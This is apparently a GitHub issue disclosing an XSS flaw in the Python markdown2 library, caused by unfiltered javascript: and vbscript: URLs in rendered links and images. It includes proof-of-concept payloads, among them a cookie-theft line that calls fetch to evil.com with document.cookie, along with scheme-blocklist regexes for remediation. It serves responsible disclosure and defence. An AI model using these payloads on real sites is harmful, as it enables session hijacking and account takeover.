Skip to content

Security: XSS via unfiltered javascript: URL in Markdown rendering (CVE candidate) #712

Description

@gnsehfvlr

Hello,

I am reporting a security vulnerability in markdown2 through responsible disclosure. If confirmed, I would appreciate a CVE identifier being requested after a patch is available.


Summary

Field Value
Package markdown2
Affected versions <= 2.5.5 (latest)
Vulnerability XSS via unfiltered javascript: protocol in Markdown URL rendering
CWE CWE-79
CVSS 3.1 6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Affected functions markdown(), Markdown.convert(), MarkdownWithExtras.convert()

Description

markdown2 does not filter dangerous URI schemes (javascript:, vbscript:, data:) when converting Markdown link and image syntax to HTML. This allows an attacker who controls Markdown input to inject executable JavaScript via <a href="javascript:..."> or <img src="javascript:..."> in the rendered output.

The safe_mode option is opt-in (default None) and incomplete: even safe_mode='escape' does not sanitize URL schemes in <img> tags, leaving image-based XSS vectors unprotected regardless of the setting.


Proof of Concept

import markdown2

# PoC 1 — basic link XSS
print(markdown2.markdown("[click](javascript:alert('xss'))"))
# <p><a href="javascript:alert('xss')">click</a></p>

# PoC 2 — image tag XSS
print(markdown2.markdown('![img](javascript:alert(1))'))
# <p><img src="javascript:alert(1)" alt="img" /></p>

# PoC 3 — case-insensitive bypass
print(markdown2.markdown('[link](JAVASCRIPT:alert(1))'))
# <p><a href="JAVASCRIPT:alert(1)">link</a></p>

# PoC 4 — leading whitespace bypass
print(markdown2.markdown('[x]( javascript:alert(1))'))
# <p><a href=" javascript:alert(1)">x</a></p>

# PoC 5 — vbscript: (Internet Explorer)
print(markdown2.markdown('[link](vbscript:msgbox(1))'))
# <p><a href="vbscript:msgbox(1)">link</a></p>

# PoC 6 — cookie theft via stored XSS
payload = "[read more](javascript:fetch('https://evil.com/steal?c='+document.cookie))"
print(markdown2.markdown(payload))
# <p><a href="javascript:fetch(...)">read more</a></p>

Root Cause

No URL scheme validation is applied to href or src attributes during rendering. The safe_mode option is opt-in and its 'escape' mode only escapes raw HTML—it does not check the URL scheme. The <img> rendering path bypasses the safe_mode branch entirely.

For comparison, mistune protects against this with an explicit blocklist:

# mistune — safe
HARMFUL_PROTOCOLS = re.compile(r'javascript:|vbscript:|data:', re.IGNORECASE)

def safe_url(url):
    if HARMFUL_PROTOCOLS.match(url):
        return '#harmful-link'
    return url

markdown2 has no equivalent protection.


Impact

  • Session hijacking — attacker steals document.cookie
  • Account takeover — attacker acts on behalf of the victim
  • Stored XSS — in forums, wikis, comment systems storing user Markdown, the payload persists and fires for every subsequent viewer
  • False safetysafe_mode='escape' does not prevent image-based XSS, providing a misleading sense of security

Attack Scenario

  1. A web application lets users author content in Markdown.
  2. The application renders it with markdown2.markdown(user_input) (default settings).
  3. An attacker submits [innocent text](javascript:malicious_code).
  4. Other users who view the rendered page and click the link execute the attacker's JavaScript.
  5. Cookies, session tokens, or credentials are exfiltrated; or actions are performed on the victim's behalf.

Remediation

Apply a URL scheme blocklist unconditionally to every generated href and src attribute (not only when safe_mode is active):

import re

HARMFUL_PROTOCOLS = re.compile(r'^\s*(javascript|vbscript|data):', re.IGNORECASE)

def _sanitize_url(url):
    """Block dangerous URI schemes that can execute scripts."""
    if HARMFUL_PROTOCOLS.match(url):
        return '#harmful-link'
    return url

As a short-term workaround, users should post-process rendered HTML with a dedicated HTML sanitizer such as bleach or nh3 that enforces an allowlist of safe URL schemes.


Timeline

Date Event
2026-07-01 Vulnerability discovered and report drafted
2026-07-01 Responsible disclosure submitted

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions